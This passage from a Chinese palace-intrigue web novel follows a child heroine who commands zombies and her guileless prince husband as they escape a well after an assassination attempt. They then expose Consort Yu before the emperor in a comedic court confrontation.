“五殿下,奴才没骗您吧,皇子妃真的在井里呢。”
高大海背着月光站在井边,佝偻着身子,狞笑道:“不过,现在您也是时候下去了!”
说完,他伸出手,将司徒砚扣着井沿的手指一根一根的掰开……
“不……”
司徒砚惊呼一声,想要用力起码将谢元棠救出去,可已经来不及了。
一大一小两人再度掉落。
高大海冷哼一声,又费了老半天牛劲,才将司徒砚搬开的巨石再挪回来,盖在井口上方。
再度暗下来的水井中。
司徒砚坐在两个丧尸垒起来的肩膀上,仍有大半个身子泡在水里。
谢元棠被他双手托举着,一点都没沾着水。
“娘子,你还好吗?”
司徒砚担忧地问:“都是我没用,保护不了你,娘子你有没有磕到哪里?”
“我没事呀~”
谢元棠倒是十分乐观,掉井嘛……
一回生两回熟,习惯了!
她扑腾着小短腿,扭头对司徒砚道:“把我放下来吧,你这样举着我不累吗?”
“不累。”
司徒砚摇摇头,声音有点颤抖:“这水很凉的,娘子不要沾水,会生病。”
他说着,又庆幸道:“幸好井里有礁石,我才能踩在上面。”
被踩的一号二号:“咔咔……”
他们不是低贱的礁石!
他们是女王陛下尊贵的丧尸军!
谢元棠笑而不语。
方才情况紧急,只来得及让两个丧尸叠罗汉站好。
再说以她现在的精神状况,也撑不住五个那么多了。
她的傻夫君,竟也没想过她之前就在这井里这么久,怎么会全身干燥的?
她让司徒砚将她放坐在肩膀上,手电筒刚才也掉进水里了,谢元棠便从研究室里拿了个夜明珠出来,微微照亮周围。
“这么高……用爬的不太行吧?”
谢元棠手掌摸了下光溜溜的墙壁,撇撇嘴道:“夫君,刚才你在外面听见我的声音了吗?你说咱们俩一块儿喊救
命有没有用?”
问完,却迟迟不见司徒砚回答。
谢元棠顿了下,捧着夜明珠低头朝他看去:“夫君?”
光线凑近一亮,她才看清司徒砚煞白的脸色。
“司徒砚!”
谢元棠吓一跳,小手摸了下他的脸颊,才发现他竟浑身都在微微颤抖。
只不过颤抖幅度太小,才让她误以为是一号和二号在动。
“司徒砚,你怎么了?”
谢元棠皱眉,正要从他肩膀上下来,刚一动就被司徒砚给按住了膝盖。
“我……我没事,娘子不要动。”
司徒砚努力平稳着自己的呼吸,声音却依然结巴:“我就是……有一点点害怕,就一点点……”
谢元棠怔住。
她这才想起来司徒砚有幽闭恐惧症。
之前姜皇后有事没事就罚他关小黑屋,给孩子都造成心理创伤了!
“啧,看来禁足还是太便宜她了!”
谢元棠冷哼一声,一手摸着司徒砚的脸颊,一手拿着夜明珠伸到他眼前:
“夫君,你看,我把星星抓在手里了呢!”
司徒砚目光呆呆地看着夜明珠,黑暗中它是唯一的光源,仿佛黯淡的夜空那仅有的星光!
顺着夜明珠,司徒砚的视线渐渐往上,看见谢元棠灿烂乐观的笑脸。
“是不是很像星星?我还有哦~喏,这颗星星给你,我再去摘一颗!”
她将夜明珠塞给司徒砚,自己双手背后,偷偷从研究室里又掏出来一颗。
“噔噔蹬蹬~看!现在是两颗星星了!”
她得意地“变魔术”,晃着手里的“星星”:“怎么样,我是不是很厉害?”
轻泠泠的声音回荡在四周。
为幽暗的深井来带蓬勃的生机和活力!
小小的一只,却仿佛拥有无穷无尽的能量,只要看着那双黑白分明的眸,便不想放弃,不会惧怕。
司徒砚眼中倒映出她小小瘦瘦的身影,渐渐的,眼底的恐惧便消散了许多。
他唇角扬了扬,点点头认真道:“嗯,娘子很厉害!”
她是他的光,一次又一次的拉着他走出黑暗,带给他希望。
真的很厉害!<
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p>谢元棠被
夸得傲娇起来,晃着小脑袋道:“哎哟其实这里也挺好的,凉快,刚才就我一个人的时候还挺闷的,不过现在夫君你来陪我了,我就不闷了。
“嗯,不管娘子去哪,我都会陪娘子。
“哎对了,夫君怎么知道我在这里的?
“我拿水回来,发现你不见了,回去找人……
谢元棠一点点诱导着他说话,将他的注意力转移开来。
感觉到他身子不再颤抖,她心里才悄悄松了口气。
司徒砚一边努力回忆,一边跟她讲着刚才外面发生的事情,没有看见谢元棠小脸上已经冒出了汗滴。
长时间操控丧尸,她有点吃不消了。
“所以现在外面都在找我们。
谢元棠微微一笑,眼中冷芒尽闪:“这种千载难逢的好戏台,我要是不给它添把火加把柴,岂不是对不起背后之人这一番辛苦谋划?
她小手拍拍司徒砚:“夫君,打起精神来,我们要出去了!
“啊?
司徒砚迷茫抬头。
谢元棠冷哼一声,撸起袖子,气势十足:“出去,找他们干架去!
司徒砚歪了歪脑袋,困惑地问:“可是娘子,我们怎么出去啊?
谢元棠理直气壮地摇头:“不知道。
司徒砚:“……
都不知道怎么出去,就先想着干架了?
“不过没事儿,区区一口井,还能难倒我大佬棠?
谢元棠豪气十足,她左右看看,掏出一把匕首来。
司徒砚:“娘子,你怎么有刀?
谢元棠已读乱回:“找铁匠打的。
司徒砚:???
“夫君,你别动啊,我踩你肩膀站起来看看。
谢元棠踩在司徒砚肩膀上,准备试试看能不能将匕首插进墙缝里。
还没动手呢,忽然一阵冷风横吹过来。
“阿嚏!
谢元棠打了个大大的喷嚏,疑惑地看向右侧的墙壁。
“娘子,怎么了?
谢元棠双眼微眯:“井口有风很正常,可墙壁为什么会有风呢?
她低头看了眼,真巧,井里的水就到这个地方就停了。
“夫君,走过去看看!
第107章 手痒,想解剖个人玩玩了!
“娘子,我们要玩下棋了吗?”
司徒砚没明白掌棋的意思,眼睫迷糊地掀了两下:“可是这里没有人,我们跟谁下啊?”
谢元棠笑着摸摸他的狗狗脑袋:“怎么会没有人呢?跟咱们玩儿的人可多了呢。”
说罢,小手拉住司徒砚的手指,躲过那些找他们的人,顺着阴暗的小道绕路走。
“走了,娘子先带你去下第一步棋!”
“好诶!我最喜欢跟娘子一队下棋了,从来不会输!”
司徒砚满心高兴,早就忘了还有一殿的人等着他们呢!
没找到谢元棠的时候,他急得差点发病。
现在找到了谢元棠,就如同心脏归了位一样,谢元棠说什么就是什么!
两人先悄无声息地又来到那口水井附近。
这里是谢元棠最先失踪的地方,也是羽林卫寻找次数最多的地方。
但正因为早就被翻烂了,这会儿早就扩大范围去了别处搜索,反而没多少人在这里。
谢元棠看了眼那还盖在井口上面的巨石,眼中闪过一抹冷光。
拉着司徒砚手指的小手习惯性地摩挲着,像是在抚摸什么猎物展示品似的。
司徒砚低头看了眼她的手指,凑到她耳边小声问:“娘子,你摸我手干吗?”
谢元棠哦一声松开手,两只小手搓了搓,磨着牙道:
“没什么,就是手痒了!”
手痒,想解剖个人玩玩了!
见周围没什么人,谢元棠抓紧时间叮嘱司徒砚:
“用你最快的速度冲过去,把那块石头挪开,就跟你第一次搬它的时候一样。”
“记住,要悄悄的,别发出太大动静!”
司徒砚认真地点点头:“娘子你放心,我保证完成任务!”
他目光盯着那块巨石,缓缓深呼吸,薄唇微微开合,嘀咕着谢元棠的“指令”。
“最快的速度,不可以有动静,最快的速度……”
他没看见,身旁看着他的谢元棠早就变了目光。
在第三次深呼吸后,司徒砚冲了出去。
于星夜之下,如暗影穿行!
四秒?还是五秒?
如果不算中间他放慢动作,将石头稳稳放在地上的那两秒钟,整
个过程可能用时更短!
谢元棠将他的身形步法全看在眼里。
她故意让他用最快的速度,让他不要发出动静,就是为了测试他到底会不会武功。
而此刻,她无比确定。
司徒砚不仅会武功,而且还超强!
那些过往的一些疑点,在此刻也都得到了证实。
比如围猎时为何杀手没能杀掉他,比如华觉寺他为何体力那么好,为何能在悬崖峭壁上带着她跃进山洞里。
可为什么他说自己不会武功?
是故意隐瞒,还是……忘记了……
谢元棠蹙眉。
一个人真的有可能忘记自己会的东西吗?
“娘子娘子,我做得好不好?
兴奋的声音打断了谢元棠的思索,她抬眸,看见蹲在她面前的司徒砚。
那双桃花眼在星辰下,却比星辰更耀眼。
纯净,澄澈。
没有丝毫杂质。
可这样一个本该最干净单纯的人,却隐藏着最复杂的秘密。
谢元棠看着那双写满“求夸夸的眼睛,长睫微颤了下,隐去眼中诸多猜测。
微微笑了下,捏捏他的俊脸道:“当然好了,夫君最棒了!
司徒砚憨笑着拍拍胸脯:“娘子,我们还有哪里的石头要搬?我很会搬石头的!
谢元棠被逗笑:“接下来不搬石头啦,咱们看戏吃瓜去!
她拉着他,刚想换了条路,就看见司徒砚在她面前蹲了下来。
“娘子今天走路太多,很累了,我抱娘子走!
说罢,刚想伸手将谢元棠抱起来,一抬手才发现自己身上的衣服还是湿的,顿时皱紧了眉头。
“湿衣服……不能抱抱了,娘子会生病的……
谢元棠顿了下,抬手戳了戳他的眉心。
“笨!光想我了,怎么就没想过,你自己穿着湿衣服也会生病吗?
司徒砚愣了愣,后知后觉地反应过来,傻笑道:“好像是哦~
谢元棠:“……真是笨夫君!
无语地白了他一眼,谢元棠拽紧他的袖子,笑了下道:“走啦!
不管他
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有什么秘密,反正他现在还是她的傻夫君。
也是她来
到这个孤立无依的世界后对她最好的人!
他不记得自己会什么那她就帮他慢慢想起来!
至于他有没有故意瞒着自己……
谢元棠相信他是真的忘了。
就算他是故意隐瞒她也一点都不生气!
秘密嘛谁还没有个一二三四五呢?
她真的一点都不会生气~
顶多秋后算总账罢了!
到时候该打死打死该解剖解剖全看心情!
真的多大点事儿生什么气呢?
有损她大佬棠的格调!
“阿嚏!阿嚏嚏嚏!”
司徒砚连打了好几个喷嚏怕被人发现连忙带着谢元棠快速躲到了另一条路上。
“娘子我怎么会打这么多喷嚏?是不是有人在背后咒我了?”
谢元棠笑得核善:“怎么会呢?你只是感冒了
“哦……可我怎么总感觉背后阴森森的?我汗毛都竖起来了!”
“那当然是你穿着湿衣服冻的呀!”
谢元棠笑容甜美地领着他往大殿方向走:“好啦别想这些了有娘子我保护你呢绝对不会让你死在别人手里的。”
“嗯嗯……嗯?”
司徒砚眨眨眼。
感觉好像哪里不对的样子。
——
在谢元棠和司徒砚瞒过所有人悄无声息地往大殿方向靠近的时候。
殿中事情的发展已经出乎了所有人的意料。
司徒擎横眉冷目看着跪在中央的虞贵妃。
“贵妃真的没话要说吗?”
虞贵妃低着头不敢看他咬紧唇道:“臣妾不知皇上要臣妾说什么。”
“今日五皇子夫妇失踪臣妾知道皇上心急如焚可皇上您不能冤枉臣妾啊!”
“臣妾听说了这件事以后就遣了莞月宫的人出去帮忙找如果真是臣妾在背后策划的那我为什么还要让人帮忙寻找呢?”
虞贵妃说着说着声音都带上了哭腔:“皇上如果当真如此臣妾便真是百口莫辩了!”
司徒擎讽笑一声:
“你百口莫辩?朕何尝不是百思不得其解!”
第108章 劫皇妃,踹皇子!
司徒擎冷声道:“砚儿和元棠与你素日无冤,你为何非要针对两个孩子?”
虞贵妃手指微缩,眼里闪过一抹狠厉,仍然嘴硬道:“臣妾从未做过这等事,臣妾冤枉!”
“你冤枉?”
司徒擎气得一掌拍在桌上:“事到如今你还嘴硬!”
“现如今高大海和你宫里的秀儿都已经招供,说明是你让他们做的这一切,你如今还不承认?”
“难道你要说,是高大海和秀儿联起手来加害于你吗?”
虞贵妃深思口气,咬死了不承认:“不无可能啊!高大海臣妾都不认识他,至于秀儿……不过是外间杂扫的下等宫女,莞月宫宫女那么多,臣妾哪里管得过来?”
她振振有词,一旁跪着的司徒烨却越听,牙咬得越紧。
他转过头悄悄朝虞贵妃使眼色,然而虞贵妃却看都没看他一眼。
或者说,自她被带进来这个大殿,就好像不认识自己这个儿子一般。
事情若成,她不会被带来。
若败……那她儿子决不能受她牵累!
司徒擎看着脸色复杂的四子,再看看虞贵妃,眼中尽是失望。
“虞莞书,朕给过你机会了,是你自己不珍惜。”
“来人,将莞月宫所有人全都押下去,交给言太傅,重重的审!”
虞莞书瞬间抬头。
司徒擎声音冷漠,开口间,便是帝王的杀伐无情。
“告诉言太傅,不招者,立斩!知情瞒报者,祸连九族!”
虞莞书唰的一下,脸色瞬间退尽血色。
立斩……
祸连九族……
在这样的威胁下,莞月宫不可能所有人都会效忠她的!
虞莞书握紧了拳,声音都在颤抖:“皇上,事情还没有查清楚,您怎么能枉用刑罚?若是杀错了……”
不等她说完,司徒擎就冷哼一声打断了她的话:“若是杀错,自有你虞家满门为他们陪葬!”
虞莞书呼吸一滞,顿时失力地往后跌坐在地。
“父皇,母妃知错了!她一定是被人教唆的!”
司徒烨在旁边急道:“母妃,都这个时候了,您还不将是谁挑唆您的说出来?”
他背对着司徒擎,拼命
给母亲使眼色声音压得极低快速道:“高大海已经全就招了父皇如今还派了太子去虞家
虞莞书却目光闪烁没有吭声。
不是她不想找而是事到如今哪来现成的替死鬼?
虞家……
不怕她还有父亲和外甥!
她的哥哥还是西南督抚皇上不会不给虞国公府面子的!
只要她咬死了自己不知情就没人能定得了她的罪!
想到这里虞莞书心神稍定。
然而下一瞬一道声音就将她再次打回地狱!
“皇上!”
冷云朝快步走进殿周身的杀气让所有人都骇然不已。
见到他回来司徒擎急忙起身:“如何?可找到人了?”
不止司徒擎连司徒冉司徒墨等人也朝他看来。
包括司徒烨。
他们当中不是所有人都关心司徒砚和谢元棠的死活。
而是因为在此时此刻两人的生死至关重要!
冷云朝咬牙道:“臣已按照那太监说的地方寻去也亲自下了井中可根本没找到人!”
“什么?”
司徒擎一怔:“你当真全都找了?或许是别的水井或许水底下……”
“臣今晚跳完了御花园所有的水井!”
冷云朝身上都滴着水说这话时又气又恨:“腐烂的尸体倒是翻出来不少但就是没看见我外甥女的影子!”
听见他这话司徒烨骤然放松司徒墨则目光微闪。
司徒冉不解地开口:“奇怪难道高大海撒谎?不然两个大活人怎么会凭空消失呢?”
“这就要问贵妃娘娘了!”
冷云朝低头看着虞莞书大步往前一迈抬手粗暴地扯住她的肩膀:“说!你把我外甥女弄哪儿去了!”
“放开我母妃!”
司徒烨顿时大喝一声起身就朝冷云朝攻来。
然而冷云朝是战场杀惯了人的司徒烨哪里是他对手!
见他冲过来司徒烨不屑地哼一声抬脚就朝他踹了过去。
大殿之上劫皇妃踹皇子!
然而司徒擎却只是看着没有出
声阻止。
司徒冉和司徒墨对视一眼,又若无其事地同时移开目光。
虞莞书和老四要输了!
这是两人心里共同的想法。
否则以司徒擎的性子,哪怕再宠信冷家,也不会任由冷
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云朝如此放肆。
他会这么做,只能说明,在他心里,已经判了虞莞书死刑!
“快说!你将棠儿藏哪里去了!
冷云朝抓着虞莞书,粗鲁地晃着她。
“唔……
他手劲儿太大,虞莞书肩胛骨都被他抓裂开了,苍白的脸上瞬间冒出冷汗来:“你……大胆狂徒,你敢动本宫……
“嗤。
冷云朝看她如看死人:“别拿那一套吓唬我,棠儿若有个三长两短,老子第一个拧断你的脖子!
说着,他大手一扔,将虞莞书扔在地上,抬脚踩住她心窝:“再不说,老子现在就宰了你!
“母妃!
司徒烨急得再次朝冷云朝动手,可他不是他的对手。
他转头看向司徒擎:“父皇,您难道就眼睁睁看着一个外臣如此欺辱母妃吗?
司徒擎冷冷地扫他一眼:“一个狠毒到能想出将九岁幼童推入井中这种毒计的人,朕到现在还没杀她,已经是存了仁心了!
司徒烨一怔,心下骤凉。
帝王凉薄。
不过如斯。
以前司徒烨以为司徒擎对他们几个儿子都是一样的,可如今才明白,那不过是表面。
一旦那个傻子出了事,他们这些儿子,就不再是儿子了。
“呵呵,哈哈哈哈……
虞莞书看着这样冷漠的司徒擎,忽地大笑起来,笑得眼泪横流。
“存了仁心?
她嘲讽地看着司徒擎:“几十年夫妻,臣妾却依然比不过那个早死的女人,臣妾的儿子这么优秀,您却偏偏只会出宫去看望那个傻子。
“皇上,真正杀死那个傻子的,不是臣妾,就是您所谓的仁心!
“放肆!
司徒擎大怒。
司徒烨看着被冷云朝踩在脚下的母亲,再看着毫无怜惜之情的父皇,藏在袖中的袖箭微微露头。
他不想走这一步。
可他不能眼睁睁看着母妃死在自己面前。
“父皇,请您原谅儿臣……
话音未落,司徒烨忽然朝司徒擎冲过去。
“父皇小心!
司徒冉和司徒墨同时起身。
就在这时。
身后的窗户突然被人破开,两颗黑乎乎的脑袋从外面探进来。
“哎呀呀!好热闹呀!
第109章 我就是娘子的大宝贝啊!
谢元棠伸出小手,拨开挡在脸上的头发,露出一张白兮兮,笑得瘆人的小脸来:“嗨~我亲爱的朋友们,我谢汉三又回来啦!”
“我……艹艹艹!”
“鬼啊啊啊啊!”
“冤魂索命来啦!”
看着那俩黑黢黢的脑袋,所有人都崩溃了!
好一点的,如司徒擎冷云朝等人,只是倒吸了口凉气。
神经衰弱一点点,如司徒凤,直接大叫一声坐在了地上!
谢兆青更是直接钻到了桌子底下,捂着老脸祈祷:“看不见我看不见我……”
看着那俩“大小鬼”,众人此刻就想问一句:
你俩为什么会从那里冒出来?!!!
这可是皇宫前朝大殿!
那扇窗户就在龙椅之后,为了皇上的安全,窗户是盖宫殿的时候就已经钉死了的!
正常人类能从那儿钻出来吗?
这一刻,众人看着谢元棠和司徒砚的眼神都格外复杂。
一时间甚至严重怀疑两人到底是人还是鬼!
就连正要对司徒擎动手的司徒烨都怔了一瞬。
就是这一瞬间的功夫。
一颗黑不溜秋乱了吧唧,还“咔咔”作响的玩意儿,跟炸弹一样,被谢元棠投递了过来!
“父皇,接住!”
司徒擎:“啊?”
接住?
接住啥?
身为帝王,司徒擎反应不算慢,奈何今天的冲击实在太多了!
从四儿子竟然要杀他开始,他脑子反应就有点跟不上了。
这会儿人还处在“天呐,我四儿子要杀我,五儿子成了鬼,小儿媳成了小鬼”的震惊中。
听到谢元棠这脆生生的一声吼,下意识地就伸手,将那飞过来的玩意儿抱在了手里。
“叮!”
下一秒,司徒烨的袖箭精准地刺入了五号的后脑勺。
并从后脑勺直接穿过来五号的嘴巴。
“咔哒!”
司徒擎看着近在眼前的骷颅丧尸脑袋,堂堂帝王,那一瞬间呼吸都凝住了!
尤其看见五号“咔”的一声,嘴巴掉了下来,吐出那支袖箭来。
那惊悚又恶心的画面,看的吾皇从未如此想要晕厥过去!
桌子底下的谢兆青看见这一幕,心里默默道:“陛下,老臣懂您!当初看见这玩意儿,老臣也想晕!
“谢元棠,你搞的什么东西!
司徒擎怒喝一声,用力将五号扔在了地上,一秒钟都忍不了。
另一边一招失手,司徒烨再想动手,却已经被司徒冉和司徒墨给控制住了。
“咳咳……四弟还是别轻举妄动的好。司徒墨咳嗽两声,扣着司徒烨肩膀的手却是力度不减。
司徒冉朝曲培使了个眼色,曲培立刻招人上前,将虞贵妃给押住了。
不过这些谢元棠都不在意,她一看见五号被扔了,就急匆匆从窗户爬进来,一溜小跑将五号捡起来。
“哎呀父皇您怎么把我的宝贝给扔了?
一边抱怨,谢元棠一边关心地给五号擦擦脸,再把它下巴重新合上。
司徒擎缓缓深吸口气,听见这调皮的声调,就知道他这个小儿媳没死了。
自然,那个还卡在窗户上,没爬进来的五儿子也该是活的!
只是本该高兴的,但因为他俩出场方式太过诡异,加上差点被五号吓死,司徒擎是一点都高兴不起来。
甚至气的咬牙:“你叫它宝贝?
“是呀,它是我的小宝贝呢!
谢元棠搂着五号笑嘻嘻道。
“哼!
司徒擎不屑冷哼:“这么说你还有个大宝贝了?
话音刚落,因为身高被卡在窗户上,这会儿才艰难从爬进来的司徒砚走过来,抬手指着自己的鼻子,诚恳无比地开口:
“我就是娘子的大宝贝啊!
“父皇,一会儿没见你怎么变笨了?
司徒擎:“……
有些人,死的时候你想他活着。
活的时候,你又气得要死!
司徒擎被气得眼前发黑,让司徒冉扶着才坐回龙椅上。
“小棠棠,你真的没死?真的还活着?
冷云朝不敢置信地看着外甥女,二十多的大男人,硬是眼眶都红了,大手伸到谢元棠跟前,却又缩了回去,生怕摸着的是道透明的魂魄。
谢元棠笑着扑到他怀里:
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“小舅舅,棠棠当然还活着啦!
她伸出小手,拿着冷
云朝的大手放自己头顶:“你摸摸热脑袋没凉的!”
冷云朝感受到手心下毛茸茸的小脑袋嗓音微微沙哑哽咽:“好好。”
活着就好。
要是小外甥女死了他就真的没脸去见他姐姐见他冷家那么多人了。
冷云朝一心感动正想跟外甥女说些什么就看见一颗大头伸了过来。
冷云朝:“……”
他黑着脸看着面前的司徒砚:“五皇子这是做什么?”
司徒砚伸着脑袋道:“舅舅也可以摸我头虽然我头发是湿的但我也不是鬼哦~”
冷云朝翻了个白眼哼哧道:“那还真是可惜。”
“小舅舅!”
谢元棠拉起司徒砚大眼睛瞪着冷云朝:“棠棠今天能活着都是夫君救的我小舅舅要是对夫君不好那棠棠就不理你了!”
冷云朝一噎勉强哼了声道:“知道了。”
说罢嫌弃地看一眼司徒砚……的脑袋。
抬起大手十分嫌弃十分勉强地搓了一把他头发:“行了知道你是人不是鬼了!”
说罢不停地背过手在衣服上猛擦!
好恶心他竟然摸一个男人的头!
yue~
不过因为他这一番“亲密举动”倒是打消了众人对谢元棠和司徒砚是人是鬼的疑虑。
司徒擎这会儿人才彻底冷静下来看着两人问道:“既然你们回来了便说说今天到底是怎么回事?”
一时间
司徒砚看向谢元棠。
正经场合娘子发言。
谢元棠耸了耸肩小手一摊道:“我听见夫君在井里喊救命就跑了过去然后发现那人是个耍口技的我就被他推了下去。”
口技人?
这话一出众人都有些意外。
实在是这样害人的法子让人防不胜防。
司徒擎皱了皱眉冷声问:“可看清了那人的长相?”
谢元棠摇摇头:“没有他戴着帽子呢天那么黑什么也看不见。”
“那么……”
司徒冉忽然开口:“为何五弟妹你掉进了井里身上却不曾湿水呢?”
第110章 真凶之一
正常人掉进水里,不应该全身湿透吗?
如司徒砚,这会儿脚底都还在淌水呢!
司徒冉这个问题一问出口,众人看着谢元棠的目光再度惊惧。
司徒凤更是吓得直往司徒煦身后躲:“你你你……谢元棠,你真的不是鬼吗?”
“本公主跟你可没仇啊,你你你……找人索命别找我啊!”
司徒煦叹了口气,扯出快被他这白痴姐姐拽烂的袖子,没好气道:“她是人不是鬼,别这么没出息。”
谢元棠笑嘻嘻道:“三妹,你怕什么?难道是怕我晚上去你房间找你玩吗?”
“啊啊啊你别说了!”司徒凤被吓得脸色发白,堵着耳朵不敢看不敢听。
但就是怕成这样,她都没走!
因为走了就吃不到第一手瓜了!
逗完司徒凤,谢元棠才看向司徒冉:“二皇兄,我衣服没湿水自然是因为我根本没掉进水里啊。”
她解释道:“那井里有个钩绳,我一开始抓着绳子,才能坚持那么长时间呢。”
“嗯嗯,我见到娘子的时候,她就是在空中的。”
司徒砚点点头,认真道:“娘子手里也有绳子,因为被我吓到,她绳子才掉进水里的。”
“钩绳……难道你们掉的真是御花园假山后那口井?”
冷云朝忽然出声,看向司徒擎道:“皇上,我从那口井里捞出来一条钩绳,现在还跟别的井里打捞出来的尸体放在一块儿呢。”
如果说谢元棠和司徒砚不可全信,那冷云朝的话无疑是给谢元棠增添了铁证。
谢元棠笑着道:“二皇兄还有别的问题吗?”
“有。”
司徒冉又问:“如你所言,五弟搬开石头后,你二人当是被人再度推入了井中,这次没有绳子,你为何衣服还是干的?”
“因为娘子骑在我头上啊!”
司徒砚理所当然道:“二哥,若是你和你娘子同时落水,你难道不会让她骑你头上吗?”
刚问完,他又“啊”了声恍然道:“我忘了,二哥你没娘子。”
司徒冉:“……”一时分不清你是在嘲笑我,还是在嘲笑我。
他没好气地哼了声:“就算本宫娶妻,也不会任由妻子骑到头上,皇室尊严
,岂容你这般糟践?
司徒砚没被他的气势吓到,只是同情地说:“二哥,你这样娶不到媳妇的。
“你……
司徒冉气得一噎,冷哼一声,自闭了。
司徒墨朝司徒擎行了一礼道:“父皇,如此,五弟和五弟妹的言词,便和高大海的证供对上了,乃是他受虞贵妃指使,将五弟妹推下井,复将五弟引到井边再度行凶。
“不对哦三皇兄。谢元棠打断他的话,“我不知道高大海是谁,但推我那个会口技,他要是不会,那就不是他。
司徒墨微微一顿,淡笑点头道:“是我疏忽,五弟妹说得对。
司徒擎扫了眼虞莞书和司徒烨:“你们母子二人,可还有话要说?
“四哥……
司徒砚看着跪在那里的司徒烨,张了张口,却什么都没说出来。
虞莞书自嘲一笑:“皇上您心里早就判了臣妾的死罪,臣妾还能说什么?只是……
她转头看一眼低头沉默不语的儿子,眼中流露出不舍和悔意来:“此事全是臣妾一人所为,和烨儿无关,和虞家无关,臣妾愿一死以偿己罪!
“皇上您是明君,还请看在虞家为大凉这么多年的功绩上,饶恕他们和烨儿。
“母妃!
司徒烨咬紧牙,眼眶酸涩。
虞莞书看着儿子,满是歉意道:“对不起烨儿,是母妃连累了你。
司徒烨摇摇头,不管她做什么,他知道全是为了他。
所以不管是奖是罚,他都愿意跟母妃和虞家共承担。
司徒擎看着他们,眼神微微闪动,一时并未开口。
熟知皇帝性情的人,察觉他有心软的可能,便开始跪下求情。
尤其是四皇子一派的人,更是可着劲儿说着虞家和四皇子这么多年来有多不容易。
谢元棠拉着司徒砚沉默地站在旁边,冷云朝想要开口,也被她拉住了。
帝王是一种很复杂的生物,她不寄希望于司徒擎百分
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百偏心他们。
这个时候他们不合适再开口。
谢元棠垂着眸,小手拉了拉冷云朝,小声问:“小舅舅,我太傅舅舅呢?
冷云朝压低声道:“皇上派他去审问莞月宫的人。
顿了顿又补充道:“还派了太子去虞家。”
太子也参与了?
谢元棠微微眯了眯眼嘴角掀起一抹几不可查的弧度本来有些紧绷的身子也骤然放松下来。
“那就没事了。”
“嗯?”
冷云朝不明所以。
谢元棠安抚地拍拍他的手背小声道:“我太傅舅舅厉害着呢而且还有个搞事的太子总之小舅舅不必担心虞贵妃和司徒烨……”
她眼中闪过一抹狠厉冷声道:“今天跑不了了!”
冷云朝不知道她哪来的自信但既然外甥女这么说他也就先不急着发火了。
反正……
要是皇帝给他的答复不满意他就写信给他爹告状去!
司徒擎听着底下官员的求情目光一一扫过众人最后落在站在旁边的三人组。
谢元棠小小一只站在中间司徒砚和冷云朝站在她两侧更俩门神似的。
仨人没一个吭声的连脾气最火爆的冷云朝都难得安静。
司徒擎心中冷哼他本以为冷云朝会不满他对虞莞书和司徒烨的心软却不想对方竟按捺了下来。
目光再看向穿着湿衣服却乖巧沉默的五儿子司徒擎心中微叹。
手心手背都是肉他心疼五儿子是真可让他亲手处死四儿子他也做不到。
就暂且先饶了老四回头他在补偿五儿子好了。
司徒擎心中打定主意缓缓开口:“好了今日之事朕……”
“皇上!”
司徒擎正要说话突然言关清大步从殿外走来。
路过司徒砚时目不斜视只当没看见他和谢元棠直接走上前方一拂衣摆跪在中央。
“启禀皇上微臣奉命审问莞月宫众奴
司徒擎皱眉:“什么收获?”
言关清抬起头声音清冷:“臣查到虞贵妃十数年前曾是害死舍妹的真凶之一。”
第115章 娘子,舅舅打我!
谢元棠和司徒砚没有再往前殿去,也没出宫——司徒擎让他们等一会儿。
谢元棠猜这个“一会儿”大概早不了,就跟冷云朝说了一声,直接去这个不知道什么殿的内室睡去了。
她还小,小孩子都要睡觉的!
司徒砚也困,他今天还泡了井水澡呢!
“舅舅,我也去睡了。”
司徒砚说着,十分自然地就往内室走。
结果一步都没迈动就让冷云朝给扣住了!
“你上哪儿去?”
司徒砚指指内室:“里面,睡觉。”
冷云朝黑着脸:“不许去!”
虽然他看得出司徒砚生性单纯,心志只怕还不如谢元棠成熟,两人在一块儿估计谁也不会想到男女大防的事上来,但是知道是一回事,放任却是另一回事!
冷云朝看着面前懵懂的司徒砚,想了想道:“小棠棠在睡觉,你这么大一个人,挤着她压着她怎么办?”
司徒砚摆摆手,乖巧十分:“不会的舅舅,我睡觉不乱动的。”
冷云朝:“……那也不行!你不能进去!”
司徒砚蹙起好看的眉:“可是舅舅,我困了。”
冷云朝抓了抓头发,想了想指着屏风旁边的锦榻道:“你睡那儿去吧!”
司徒砚看了眼,桃花眼中满是嫌弃:“太短了,我躺不下。”
冷云朝:“……”你事儿怎么这么多!
他气呼呼地瞪着司徒砚,指着门口道:“那你出去随便找个地方睡!”
“我不要!”
“嘶~信不信我揍你!”
“娘子,舅舅打我!”
“……”
冷云朝气得,正要动手将他撵走,袖子刚撸起一半,谢元棠出来了。
谢元棠视线落在冷云朝撸起的袖子上,大眼睛瞪他:“小舅舅,你又欺负夫君了对不对?”
“我欺负他?”
冷云朝气笑了,看着司徒砚:“你说,我欺负你了吗?”
司徒砚桃花眼微闪,低着头没吭声,只是小步往谢元棠身边挪了挪。
冷云朝:“……”不是,你这副委屈的表情是几个意思?
他急忙看向谢元棠:“小棠棠,你别信他,他演你呢!”
谢元棠哼了声,半点不信:“我夫君这么单纯,他会说谎?他会演?”
冷云朝急得跺脚:“可是他真的会啊!”
“小舅舅,你欺负夫君就算了,居然还污蔑他,我对你太失望了!”
谢元棠说罢,小手拉住司徒砚的大手就往里走:“我们要睡觉了,小舅舅不许打扰我们,不然我要生气啦!”
冷云朝又气又急:“小外甥女,他真的……”
话还没说完,司徒砚突然回过头来,对冷云朝乖巧地笑了笑:
“对了,舅舅要是困的话,可以睡那张锦榻哦~”
“毕竟,舅舅比我矮,那张锦榻应该够用啦!”
冷云朝:“……”
孙贼!
老子早晚揭穿你的绿茶真面目!
不管冷云朝在外面急得如何团团转,谢元棠自顾自爬上床,打了个大大的哈欠。
她太累了,体力消耗还不算什么,尤其是在井底下连续那么久操控五个丧尸,已经耗尽了她的精神力。
“娘子盖好被子再睡。”
司徒砚躺在她身旁,自己没盖,倒是先给谢元棠盖好被。
闻声,谢元棠睁开眼扫了他一眼,伸出小手——拧住了他的耳朵。
“嘶~”
司徒砚倒吸口凉气,委屈地看着她:“娘子,疼~”
“哼,我都没用力你疼个球!”
谢元棠没好气地拍了下他的脑门:“说,为什么欺负小舅舅?”
司徒砚眨眨眼睛,有点尴尬,往门外看了眼,见冷云朝没听见,才小声道:“娘子你看出来啦?娘子真聪明!”
谢元棠翻了个白眼,她又不瞎,看不出来就怪了。
司徒砚揉揉耳朵,压得极低的嗓音带着些许疲惫的沙哑:“我不想出去,我想跟娘子在一起……”
他伸出手,轻柔地帮谢元棠掖好被角:“娘子,我很害怕……害怕我一个转身,你又不见了,我怎么找,怎么喊,都找不到你。”
谢元棠微微一怔。
今晚发生的事情太多,以至于她都忽略了,这样一件突发事件,对于司徒砚来说有多严重。
